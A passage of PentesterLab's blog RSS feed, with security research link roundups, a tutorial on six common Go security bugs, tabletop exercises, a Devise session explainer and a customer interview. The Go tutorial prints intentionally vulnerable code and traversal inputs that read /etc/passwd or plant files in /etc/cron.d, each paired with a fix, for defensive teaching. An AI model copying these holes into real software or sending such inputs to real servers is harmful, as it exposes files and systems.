  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📜 </span>The minefield between syntaxes: exploiting syntax confusions in the wild</h5>
  <p>YesWeHack published a great article with real bug-bounty examples of parser differentials: <a href="https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits" target="_blank">https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits</a></p>

</div>

]]>
      </description>
      <pubDate>Sun, 26 Oct 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week43-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week43-2025</guid>
    </item>
    <item>
      <title>6 Easy Bugs to Find in Golang Source Code Reviews</title>
      <description>
        <![CDATA[
<p>Security code review doesn't have to be intimidating. In Go codebases, certain patterns appear repeatedly. These mistakes are easy to spot once you know what to look for. These six common security issues are found in production code more often than you might expect, and learning to identify them will sharpen your security intuition for more complex issues.</p>

<p>Let's dive into practical examples you can start hunting for today.</p>

<h3 class="fw-bold my-3"># Directory Traversal via filepath.Clean</h3>

<p>Developers often use <code>path.Clean()</code> (or <code>filepath.Clean()</code>) thinking it sanitizes (cleans) user input for file access operations. It doesn't. This function only normalizes paths. It won't prevent directory traversal attacks.</p>

<p><strong>Vulnerable Code:</strong></p>
<pre><code class="go">func downloadFile(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")
    // This doesn't prevent directory traversal!
    cleanPath := filepath.Clean(filename)
    fullPath := filepath.Join("/var/www/files", cleanPath)
    
    data, err := os.ReadFile(fullPath)
    if err != nil {
        http.Error(w, "File not found", 404)
        return
    }
    w.Write(data)
}</code></pre>

<p><strong>Impact:</strong></p> 
<p>An attacker can request <code>?file=../../../../etc/passwd</code> to read arbitrary files on the system. The <code>filepath.Clean()</code> call normalizes this to <code>../../../../etc/passwd</code>, which still escapes the intended directory. Basically, the function <code>path.Clean()</code> only "cleans" the path if it starts with a <code>/</code>. </p>

<p>I submitted a change to the Go team, to make the documentation clearer: <a href="https://go-review.googlesource.com/c/go/+/684376">path: add more examples for path.Clean</a></p>


<p><strong>Recommendations:</strong></p>

<p>There are multiple ways to prevent this issue:</p> 
<ul>
  <li>Calling <code>filepath.Clean()</code> after adding an <code>os.PathSeparator</code>.</li>
  <li>Checking if the path starts with a trusted directory (after extracting the absolute path).</li>
  <li>Leveraging <code>filepath.Localize()</code> introduced in Go 1.23.</li>
  <li>Finally, the best alternative is to rely on <code>os.Root</code> (<a href="https://go.dev/blog/osroot">Traversal-resistant file APIs</a>) introduced in Go 1.24.</li>
</ul>

 

<h3 class="fw-bold my-3"># Weak Random Generation with math/rand</h3>

<p>The <code>math/rand</code> package is deterministic and predictable: perfect for simulations, terrible for security. Developers often reach for it out of habit when generating tokens or session IDs.</p>

<p><strong>Vulnerable Code:</strong></p>
<pre><code class="go">import (
    "math/rand"
    "time"
)

func generateResetToken() string {
    const letters = "abcdefghijklmnopqrstuvwxyz"
    token := make([]byte, 32)
    for i := range token {
        token[i] = letters[rand.Intn(len(letters))]
    }
    return string(token)
}</code></pre>

<p><strong>Impact:</strong></p>

<p>Tokens generated this way are predictable. An attacker can potentially predict previous and subsequent tokens.</p>



<p><strong>Recommendations:</strong></p>

<p>A better way to do this is to swap <code>math/rand</code> for <code>crypto/rand</code>. Unless you have a good reason for it, use <code>crypto/rand</code>.</p>

<h3 class="fw-bold my-3"># Hostname Validation with strings.HasSuffix</h3>

<p>Checking domain ownership with <code>strings.HasSuffix()</code> is a classic mistake. Developers think they're validating subdomains of their service, but they're only checking that the hostname ends with the domain.</p>

<p><strong>Vulnerable Code:</strong></p>
<pre><code class="go">func isValidSubdomain(hostname string) bool {
    // This looks right but it's wrong!
    return strings.HasSuffix(hostname, "example.com")
}

// isValidSubdomain("evil-example.com") returns true!
// isValidSubdomain("notexample.com") returns true!</code></pre>

<p>This example is pretty simple to spot but the trusted domain could come from a configuration file or an environment variable. Making it harder to determine whether the value starts with a dot or not.</p>

<p><strong>Impact:</strong> </p> 
<p> An attacker can register <code>evil-example.com</code> and bypass your validation. This leads to subdomain takeover vulnerabilities, OAuth redirect bypasses, SSRF, and CORS misconfigurations.</p>


<p><strong>Recommendations:</strong></p>
<pre><code class="go">func isValidSubdomain(hostname string) bool {
    // Check exact match or proper subdomain
    return hostname == "example.com" || 
           strings.HasSuffix(hostname, ".example.com")
}</code></pre>



<h3 class="fw-bold my-3"># Timing Attacks in String Comparison</h3>

<p>Using <code>==</code> to compare secrets creates timing differences that attackers can measure. Each character is compared sequentially, and comparison stops at the first mismatch.</p>

<p><strong>Vulnerable Code:</strong></p>
<pre><code class="go">func validateAPIKey(provided string) bool {
    secretKey := "sk_live_abc123def456ghi789"
    return provided == secretKey  // Vulnerable to timing attack
}

func validateSignature(provided, expected []byte) bool {
    return bytes.Equal(provided, expected)  // Also vulnerable
}</code></pre>

<p><strong>Impact:</strong></p>
<p> An attacker can bruteforce the secret one character at a time by measuring response times. Each correct character takes slightly longer to process than incorrect ones.</p>

<p><strong>Recommendations:</strong></p>
<p>You can find examples of constant-time comparisons below: </p> 
<pre><code class="go">import "crypto/subtle"

func validateAPIKey(provided string) bool {
    secretKey := "sk_live_abc123def456ghi789"
    return subtle.ConstantTimeCompare([]byte(provided), []byte(secretKey)) == 1
}

func validateSignature(provided, expected []byte) bool {
    return subtle.ConstantTimeCompare(provided, expected) == 1
}</code></pre>

<h3 class="fw-bold my-3"># ZIP Slip via Archive Extraction</h3>

<p>When extracting ZIP files, trusting <code>Entry.Name</code> without validation allows attackers to write files anywhere on the filesystem.</p>

<p><strong>Vulnerable Code:</strong></p>
<pre><code class="go">func extractZip(src, dest string) error {
    r, err := zip.OpenReader(src)
    if err != nil {
        return err
    }
    defer r.Close()
    
    for _, f := range r.File {
        // Dangerous: trusting f.Name directly!
        path := filepath.Join(dest, f.Name)
        
        if f.FileInfo().IsDir() {
            os.MkdirAll(path, f.Mode())
            continue
        }
        
        rc, err := f.Open()
        if err != nil {
            return err
        }
        defer rc.Close()
        
        outFile, err := os.Create(path)
        if err != nil {
            return err
        }
        defer outFile.Close()
        
        _, err = io.Copy(outFile, rc)
        if err != nil {
            return err
        }
    }
    return nil
}</code></pre>

<p><strong>Impact:</strong></p>
<p> A malicious zip file with entries like <code>../../../../etc/cron.d/evil</code> can overwrite system files, leading to remote code execution.</p>

<p><strong>Recommendations:</strong></p>

When extracting files, you should avoid trusting the path provided in the archive. You should rely on <code>os.Root</code> (<a href="https://go.dev/blog/osroot">Traversal-resistant file APIs</a>) introduced in Go 1.24 to make this easier (especially since it handles symlinks). 

<h3 class="fw-bold my-3"># Hardcoded Secrets in Source</h3>

<p>It's shocking how often API keys, passwords, and tokens end up committed to repositories. Developers hardcode them "temporarily" during development and forget to remove them.</p>

<p><strong>Vulnerable Code:</strong></p>
<pre><code class="go">const (
    // Found in too many repos!
    AWSAccessKey = "AKIAIOSFODNN7EXAMPLE"
    AWSSecretKey = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
    DBPassword   = "admin123"
)

func connectToAPI() *Client {
    return &Client{
        APIKey: "sk_live_4242424242424242",  // "We'll rotate it later"
    }
}</code></pre>

<p><strong>Impact:</strong></p>
<p>  Exposed credentials lead to data breaches, unauthorized access, and massive cloud bills. Once committed, secrets live forever in git history even if removed later.</p>

<p><strong>Recommendations:</strong></p>

<p>Secrets and credentials should be kept outside of the source code: in a secret management tool, a configuration file, or in environment variables. A good rule of thumb is "an attacker should not gain any advantage from having access to your source code".</p> 

<h3 class="fw-bold my-3"># Start Finding These Today</h3>

<p>These six patterns are just the beginning. Once you train your eye to spot them, you'll start noticing variations and more subtle issues. The key is practice—review real code, understand why developers make these mistakes, and learn the secure patterns that prevent them.</p>

<p>Remember: every bug you find during code review is one that doesn't make it to production. That's a win for everyone involved.</p>

<p>Want to learn how to spot and understand issues like these? Join our next <a href="https://pentesterlab.com/live-training/" target="_blank">Web Security Code Review Training</a> to practice reading real-world vulnerable code and fixing it correctly. Make sure you also check out our <a href="https://pentesterlab.com/badges/golang-code-review" target="_blank">Golang Code Review Badge!</p>
]]>
      </description>
      <pubDate>Wed, 15 Oct 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/6-easy-bugs-golang-source-code-review</link>
      <guid>https://pentesterlab.com/blog/6-easy-bugs-golang-source-code-review</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 41/2025</title>
      <description>
        <![CDATA[
<div class="mb-0">
  <p>AI, AI, SSRF-XSLT!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Building the Leading Open-Source Pentesting Agent: Architecture Lessons from XBOW Benchmark</h5>
  <p>The latest write-up on how to build an open-source pentesting agent: <a href="https://medium.com/data-science-collective/building-the-leading-open-source-pentesting-agent-architecture-lessons-from-xbow-benchmark-f6874f932ca4" target="_blank">https://medium.com/data-science-collective/building-the-leading-open-source-pentesting-agent-architecture-lessons-from-xbow-benchmark-f6874f932ca4</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Introducing CodeMender: an AI agent for code security</h5>
  <p>What if, instead of searching for vulnerabilities, we use AI to rewrite and harden existing code? Let’s flip the premise: <a href="https://deepmind.google/discover/blog/introducing-codemender-an-ai-agent-for-code-security/" target="_blank">https://deepmind.google/discover/blog/introducing-codemender-an-ai-agent-for-code-security/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">⛓️ </span>Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882)</h5>
  <p>A great vulnerability chain mixing SSRF and XSLT: <a href="https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/" target="_blank">https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/</a></p>

</div>

]]>
      </description>
      <pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week41-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week41-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 40/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>ADB and JWT, a quiet but interesting week!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🚙 </span>Technical Advisory: Tesla Telematics Control Unit - ADB Auth Bypass</h5>
  <p>Learn how to bypass a lockdown adb shell when adb runs as root and only adb pull, push and forward are available: <a href="https://www.nccgroup.com/research-blog/technical-advisory-tesla-telematics-control-unit-adb-auth-bypass/" target="_blank">https://www.nccgroup.com/research-blog/technical-advisory-tesla-telematics-control-unit-adb-auth-bypass/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔓 </span>One Token to rule them all - obtaining Global Admin in every Entra ID tenant via Actor tokens</h5>
  <p>One JWT. One token. Global Admin in every Entra ID tenant. A surprising read: <a href="https://dirkjanm.io/obtaining-global-admin-in-every-enra-id-tenant-with-actor-tokens/" target="_blank">https://dirkjanm.io/obtaining-global-admin-in-every-enra-id-tenant-with-actor-tokens/</a></p>

</div>

]]>
      </description>
      <pubDate>Sun, 05 Oct 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week40-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week40-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 38/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>Content worth checking discovered last week:</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Hacking with AI SASTs</h5>
  <p>A great write-up evaluating the current state of AI-augmented SAST: <a href="https://joshua.hu/llm-engineer-review-sast-security-ai-tools-pentesters" target="_blank">https://joshua.hu/llm-engineer-review-sast-security-ai-tools-pentesters</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>Finding vulnerabilities in modern web apps using Claude Code and OpenAI Codex</h5>
  <p>The Semgrep team dives into leveraging coding agents to find vulnerabilities: <a href="https://semgrep.dev/blog/2025/finding-vulnerabilities-in-modern-web-apps-using-claude-code-and-openai-codex/" target="_blank">https://semgrep.dev/blog/2025/finding-vulnerabilities-in-modern-web-apps-using-claude-code-and-openai-codex/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛹🐶 </span>skateboardingdog/bsides-cbr-2025-challenges</h5>
  <p>The source files and solutions for the BSides Canberra 2025 CTF challenges are available! Check them out: <a href="https://github.com/skateboardingdog/bsides-cbr-2025-challenges" target="_blank">https://github.com/skateboardingdog/bsides-cbr-2025-challenges</a></p>

</div>


]]>
      </description>
      <pubDate>Sun, 28 Sep 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week38-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week38-2025</guid>
    </item>
    <item>
      <title>Tabletop Exercises For Appsec Teams</title>
      <description>
        <![CDATA[<p>Tabletop exercises are the secret weapon for building resilient AppSec teams. They're not just training; they're relationship builders, blind spot finders, and perfect activities for slow Friday afternoons. Plus, they make excellent interview questions to see how candidates think under pressure.</p>

<p>The best part? You can start running them today with zero budget and minimal preparation.</p>


<h5 class="fw-bold my-3">Why Tabletop Exercises Matter</h5>
<p>Real incidents don't come with instruction manuals. They're messy, ambiguous, and happen at the worst possible times. Tabletop exercises let you practice the chaos in a safe environment where mistakes are learning opportunities, not career-limiting events.</p>

<p>They reveal gaps in your processes that you didn't know existed. They build muscle memory for crisis response. Most importantly, they strengthen relationships between teams who need to work together when things go wrong.</p>

<h5 class="fw-bold my-3">The Art of Good Scenarios</h5>
<p>Good scenarios feel real because they could be real. They're specific enough to be actionable but flexible enough to allow for creative problem-solving. They have complications that mirror real-world messiness.</p>

<p>Start with scenarios close to home. Use your actual tech stack, your real team structure, your current processes. The closer to reality, the more valuable the exercise.</p>

<h5 class="fw-bold my-3">Scenario 1: "Going Live?"</h5>
<p>You've just had your morning coffee when you're pulled into an emergency meeting. An application is scheduled to go live tomorrow, but your team just found a remote code execution vulnerability. The business team is adamant about the launch date - it's been advertised, customers are expecting it, and delays will cost millions.</p>

<p>What questions do you ask? Can you propose alternatives? How do you quantify risk? Who makes the final decision? What if the CEO overrules security concerns?</p>

<p>Twist: The developer who wrote the vulnerable code is on vacation in Bali with no phone service.</p>

<h5 class="fw-bold my-3">Scenario 2: "The Log4j Morning"</h5>
<p>A vulnerability like Log4j or Heartbleed just dropped. It affects everything. Twitter is on fire. Your CEO just forwarded you a news article asking, "Are we affected?"</p>

<p>How do you identify affected applications? You have hundreds of services - who owns what? How do you prioritize fixes? What about third-party vendors? How do you communicate status when you don't know the full scope yet?</p>

<p>Twist: Your software inventory system hasn't been updated in six months.</p>

<h5 class="fw-bold my-3">Scenario 3: "No Bounty for You"</h5>
<p>A security researcher emails claiming they've found a critical vulnerability in your main application. They refuse to go through your bug bounty program to avoid disclosure restrictions. They want to publish after 45 days, fixed or not, and they're fine forfeiting any bounty.</p>

<p>How do you verify they're legitimate? What if they demand unreasonable terms? How do you handle communication? What's your legal position? What if they go public before you're ready?</p>

<p>Twist: The researcher is 16 years old and located in a country with different disclosure laws.</p>

<h5 class="fw-bold my-3">Scenario 4: "The Leak"</h5>
<p>A developer accidentally commits AWS credentials to a public GitHub repository. By the time you're notified, the commit has been public for four hours. It's been forked twice and indexed by credential scanning bots.</p>

<p>How quickly can you rotate credentials? What might have been accessed? How do you audit four hours of potential activity? Who needs to be notified? What about compliance requirements?</p>

<p>Twist: The credentials had admin access to production databases containing customer PII.</p>

<h5 class="fw-bold my-3">Scenario 5: "Dependency Confusion"</h5>
<p>Your application was targeted via a dependency confusion attack. It was only detected because a service failed during deployment. The malicious package has been in your build pipeline for three days.</p>

<p>How do you determine what was compromised? Which builds are affected? What data might have been exfiltrated? How do you clean infected systems? How do you prevent recurrence?</p>

<p>Twist: The attack happened on a Friday afternoon before a three-day weekend.</p>

<h5 class="fw-bold my-3">Running Effective Exercises</h5>
<p>Keep exercises short - 30 to 60 minutes. Long enough to dig deep, short enough to maintain energy. Include people from different teams. The security perspective is just one of many you need.</p>

<p>Designate a facilitator who introduces complications and keeps discussions moving. They're not participating; they're orchestrating. Their job is to make it realistic, not easy.</p>

<p>No laptops unless you're simulating actual response. This is about thinking and discussing, not googling solutions. The conversation is more valuable than the answer.</p>

<h5 class="fw-bold my-3">The Debrief Is Everything</h5>
<p>After each scenario, identify what went well and what didn't. What processes were missing? What tools would have helped? Who should have been involved but wasn't?</p>

<p>Turn findings into action items. Missing runbook? Write it. Communication gap? Fix it. Tool needed? Build or buy it. Each exercise should make you better prepared for the next real incident.</p>

<h5 class="fw-bold my-3">Using Exercises in Interviews</h5>
<p>Tabletop scenarios make excellent interview questions. They reveal how candidates think under pressure, how they prioritize, how they communicate. Do they panic or stay calm? Do they consider business impact or just technical issues?</p>

<p>Give candidates a scenario and watch how they work through it. The approach matters more than the answer. You want someone who asks good questions, considers stakeholders, and thinks about long-term implications.</p>

<h5 class="fw-bold my-3">Making It Regular</h5>
<p>Schedule exercises regularly. Monthly is ideal, quarterly is minimum. Make them part of your team's rhythm. Rotate who creates scenarios - fresh perspectives keep exercises valuable.</p>

<p>Track improvements over time. Are you handling scenarios faster? With less confusion? With better outcomes? These metrics show the value of practice.</p>

<h5 class="fw-bold my-3">Start Simple, Build Complexity</h5>
<p>Your first exercises don't need to be complex. Start with single-issue scenarios. As your team gets comfortable, add complications. Multiple simultaneous incidents. Conflicting priorities. Resource constraints.</p>

<p>The goal isn't to overwhelm but to prepare. Each exercise should stretch your capabilities just enough to promote growth without causing frustration.</p>

<p>Tabletop exercises are low-cost, high-value activities that make your team better at handling real incidents. They build relationships, reveal blind spots, and create muscle memory for crisis response. Start with one scenario next Friday afternoon. Your future incident-responding self will thank you.</p>


<hr>

<p>Prefer video? I cover these scenarios and tips in this talk:</p>
<div style="text-align:center; margin: 1.5em 0;">
<iframe width="560" height="315" src="https://www.youtube.com/embed/mQEJR78teHA" title="Tabletop Exercises for AppSec Teams" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</div>
]]>
      </description>
      <pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/tabletop-exercises-for-appsec-teams</link>
      <guid>https://pentesterlab.com/blog/tabletop-exercises-for-appsec-teams</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 36/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>A good mix of everything to please everyone: CVEs, AI, Integrity Bypass and Unicode </p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠 </span>ksmbd - Fuzzing Improvements and Vulnerability Discovery (2/3)</h5>
  <p>The Doyensec team is following up on their research against <code>ksmbd</code>. It’s raining CVEs! <a href="https://blog.doyensec.com/2025/09/02/ksmbd-2.html" target="_blank">https://blog.doyensec.com/2025/09/02/ksmbd-2.html</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔐 </span>Subverting Code Integrity Checks to Locally Backdoor Signal, 1Password, Slack, and More</h5>
  <p>Another great post from the Trail of Bits team on attacking code integrity in Electron-based applications: <a href="https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/" target="_blank">https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📰 </span>In4m: Keeping up with the Latest Infosec News</h5>
  <p>The Kulkan team just released a new tool to help you keep up with the Kardashian<code>^w</code>latest infosec news: <a href="https://blog.kulkan.com/in4m-keeping-up-with-the-latest-infosec-news-ff4a045cf8a9" target="_blank">https://blog.kulkan.com/in4m-keeping-up-with-the-latest-infosec-news-ff4a045cf8a9</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Executive Offense - Building AI Hackbots, Part 1</h5>
  <p>A great post from Jason Haddix’s newsletter on how to build Hackbots: <a href="https://executiveoffense.beehiiv.com/p/ai-hackbots-part-1" target="_blank">https://executiveoffense.beehiiv.com/p/ai-hackbots-part-1</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🍪 </span>Cookie Chaos: How to Bypass <code>__Host</code> and <code>__Secure</code> Cookie Prefixes</h5>
  <p>A great post on bypassing <code>__Host</code> cookies by leveraging Unicode: <a href="https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes" target="_blank">https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes</a></p>

</div>

]]>
      </description>
      <pubDate>Mon, 08 Sep 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week36-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week36-2025</guid>
    </item>
    <item>
      <title>How Devise Solves Session Invalidation in Rails</title>
      <description>
        <![CDATA[

<p>Rails relies on <strong>signed sessions</strong> to keep track of logged-in users. Since Rails 5.2, those sessions use <em>AES GCM</em> for authenticated encryption. They are secure, but there is a limitation: you cannot invalidate them early. Once issued, a session remains valid until it expires. Some workarounds exist, like caching sessions you want to revoke, but there is no simple universal solution built into Rails.</p>

<h5 class="fw-bold my-3">Devise’s Clever Solution</h5>

<p><strong>Devise</strong> is the standard authentication library for Rails. It handles registration, login, and password changes. Devise needs a way to invalidate sessions when a user changes their password, but Rails does not make that easy. The trick is to combine existing data with the session so invalidation happens automatically.</p>

<p>When a user logs in, Devise stores in the session:</p>
<ul>
  <li><strong>User ID</strong></li>
  <li><strong>Part of the user’s hashed password</strong> (<code>authenticatable_salt</code>, derived from the BCrypt hash)</li>
</ul>

<p>The code below illustrates how <code>authenticatable_salt</code> is computed:</p>

<pre><code class="language-ruby">      # A reliable way to expose the salt regardless of the implementation.

      def authenticatable_salt
        encrypted_password[0,29] if encrypted_password
      end</code></pre>

<p>Where <code>encrypted_password</code> is the BCrypt hash of the password. 


<p>And we can see how the two values are added to the session in the following snippet:</p> 
<pre><code class="language-ruby">        def serialize_into_session(record)
          [record.to_key, record.authenticatable_salt]
        end</code></pre>

<h5 class="fw-bold my-3">How the Check Works on Every Request</h5>

<p>On each request, Devise verifies that the user is still authenticated by checking two things:</p>
<ol>
  <li>The user ID from the session identifies a valid user.</li>
  <li>The session’s <code>authenticatable_salt</code> matches the value stored in the database for that user.</li>
</ol>

<p>If the values match, the session is valid. If they do not match, the session is rejected.</p>

<pre><code class="language-ruby">        def serialize_from_session(key, salt)
          record = to_adapter.get(key)
          record if record && record.authenticatable_salt == salt
        end
</code></pre>

<h5 class="fw-bold my-3">What Happens When the Password Changes</h5>

<p>When a user changes their password, the BCrypt hash changes, and so does <code>authenticatable_salt</code>. Devise updates the salt in the current browser’s session. All other sessions for the same user, on other devices or browsers, still carry the old salt. Those sessions will fail the next check and are effectively invalidated.</p>

<ul>
  <li>Password changes → BCrypt hash changes.</li>
  <li><code>authenticatable_salt</code> changes with the hash.</li>
  <li>Current session is updated; all other sessions become invalid on their next request.</li>
</ul>


<h5 class="fw-bold my-3">Security Implications</h5>

<p>This small design choice has some big consequences for both security and usability:</p>
<ul>
  <li><strong>Automatic revocation across devices</strong>: No central session blocklist is required. The mismatch on the next request logs out stale sessions.</li>
  <li><strong>Forgery resistance</strong>: Even if an attacker knows the secret used to protect sessions, they still do not know the user’s hashed password. Without the correct <code>authenticatable_salt</code>, forging a valid session is not feasible.</li>
</ul>

<h5 class="fw-bold my-3">Why This Is Clever</h5>

<p>This design does not change how Rails sessions work. It accepts their constraints and then adds a small piece of data that ties session validity to password state. It is minimal, universal, and effective.</p>

<h5 class="fw-bold my-3">Common Alternatives and Pitfalls</h5>

<p>It is worth contrasting this with other approaches teams often take, and why they fall short:</p>
<ul>
  <li><strong>Per-session blocklists</strong>: Possible, but adds complexity and storage overhead. You have to track, expire, and check a denylist on each request.</li>
  <li><strong>Short session lifetimes</strong>: Reduces risk but harms user experience and does not offer immediate invalidation.</li>
</ul>

<h5 class="fw-bold my-3">Takeaway</h5>

<p>Good security engineering often comes from using existing data in a smart way. Devise’s use of <code>authenticatable_salt</code> turns a hard problem into a simple check that works everywhere.</p>


]]>
      </description>
      <pubDate>Wed, 03 Sep 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/rails-devise-session-invalidation</link>
      <guid>https://pentesterlab.com/blog/rails-devise-session-invalidation</guid>
    </item>
    <item>
      <title>Security Twins: Learning From Your Software’s Closest Relatives</title>
      <description>
        <![CDATA[
<p>When you are doing code review, penetration testing, bug bounty or threat modeling, it is easy to get tunnel vision and focus only on your own application. You look at the features, the code, the architecture, and try to enumerate risks from scratch. But there is a smarter way: <strong>find your Security Twins.</strong></p>

<p>A <em>Security Twin</em> is an application that shares important similarities with yours: same language, same framework, same functionality, or ideally all three. It is your software’s closest relative in the wild, and studying it can give you a head start on identifying risks in your own.</p>

<h5 class="fw-bold my-3">Why Security Twins Matter</h5>

<p>Security research does not happen in isolation. Vulnerabilities tend to appear in clusters: a flaw in one product often signals a pattern that exists elsewhere. By tracking your Security Twins, you can benefit from that research without waiting to get hit yourself.</p>

<p>For example, if you work at GitHub, you would be unwise not to pay close attention to GitLab. Both are large Rails applications with overlapping features. When a deserialization bug, permission bypass, or CSRF issue shows up in GitLab, it is a signal to immediately review whether GitHub might suffer from the same flaw.</p>

<p>This is not about copying exploits blindly. It is about recognizing that vulnerabilities do not exist in a vacuum, they are tied to the frameworks, languages, and patterns both applications share.</p>

<h5 class="fw-bold my-3">Easier To Transfer Than To Invent</h5>

<p>It is far easier to adapt a security lesson from one familiar environment than to dream up new threat models from scratch.</p>

<ul>
  <li><strong>Language-level issues</strong>: If a bug exists in the Ruby ecosystem, there is a strong chance other Ruby apps share it.</li>
  <li><strong>Framework quirks</strong>: A misconfigured Rails feature causing data leaks in one project may be lurking in another.</li>
  <li><strong>Functional overlap</strong>: Two platforms that both implement "merge requests" or "issue trackers" are likely to solve similar problems and introduce similar flaws.</li>
</ul>

<p>Instead of reinventing your testing approach, you can sharpen it by asking: <em>"What happened to our Security Twin?"</em></p>

<h5 class="fw-bold my-3">How To Identify Your Security Twins</h5>

<ol>
  <li><strong>Same framework, same domain</strong><br>
  If you are building an ecommerce site in Django, look for other ecommerce platforms in Django.</li>

  <li><strong>Same functionality, different stack</strong><br>
  Even across languages, functionality drives design. A payment processor in Java and one in Go may both mishandle reconciliation edge cases.</li>

  <li><strong>Direct competitors</strong><br>
  Your competitors often make the best Security Twins. You share not only features but also the same market pressures and sometimes the same shortcuts.</li>
</ol>

<h5 class="fw-bold my-3">Making It Part of the Process</h5>

<ul>
  <li><strong>Threat modeling</strong>: For each feature, ask, "Has this failed somewhere else?"</li>
  <li><strong>Code review</strong>: Keep a running list of advisories and vulnerabilities in your Security Twins’ ecosystem.</li>
  <li><strong>Pentesting</strong>: Seed your tests with past public vulnerabilities in similar applications.</li>
</ul>

<p>This does not take much effort: track advisories, follow mailing lists, or scan commits in upstream frameworks. The payoff is huge: you will always have new, relevant attack ideas grounded in reality.</p>

<h5 class="fw-bold my-3">Final Thought</h5>

<p>Security is not just about creativity; it is about awareness. If your Security Twin stumbled into a vulnerability, do not wait to fall in yourself: learn from their misstep.</p>

]]>
      </description>
      <pubDate>Sun, 31 Aug 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/security-twins</link>
      <guid>https://pentesterlab.com/blog/security-twins</guid>
    </item>
    <item>
      <title>How Fluid Attacks Trains Every Tester with PentesterLab’s Code Review Badge</title>
      <description>
        <![CDATA[<p>For the past few months, I’ve been noticing a pattern on LinkedIn: people celebrating their success in obtaining our <a href="/badges/codereview" target="_blank">Code Review Badge</a>. And one company kept coming up again and again: <a href="https://fluidattacks.com/" target="_blank">Fluid Attacks</a>!</p>

<p>I decided to reach out to learn more about their usage of PentesterLab by contacting <a href="https://www.linkedin.com/in/camilo-vera-vidales/" target="_blank">Camilo Vera</a>, and here are his answers to a few questions I asked:</p>

<h5 class="fw-bold my-3">Can you tell us a bit about your company and the kind of services you provide?</h5>
<p>Fluid Attacks is an AppSec company focused on securing our clients’ software. Our solution combines automated tools, AI, and a team of expert pentesters. We provide deep source code review, continuous security testing, and research-driven vulnerability discovery. Our mission is to identify and help remediate vulnerabilities during the development lifecycle, uncovering issues that automated tools or surface-level assessments often miss.</p>

<h5 class="fw-bold my-3">From what I’ve seen, many people on your team went through our Code Review Badge. What made you decide to put the whole team through it?</h5>
<p>Because code review is at the core of what we do, we wanted to make sure everyone on the team had a strong foundation. That’s why every new tester at Fluid Attacks is required to complete the Code Review badge before starting onboarding mentorships. Over time, it became a standard, now every tester in the company has it, and many have completed additional badges as well. It’s highly valued internally, because it builds skills directly applicable to our daily work.</p>

<h5 class="fw-bold my-3">How has completing the badge changed the way your team approaches code review and application security?</h5>
<p>The biggest change is in how testers approach code. Instead of seeing code as something overwhelming, they now know how to dive in, spot entry points, and follow the logic with an attacker’s mindset. It’s not just about recognizing individual vulnerabilities, it’s about developing a structured methodology for analyzing applications and libraries. This mindset shift has been extremely valuable.</p>

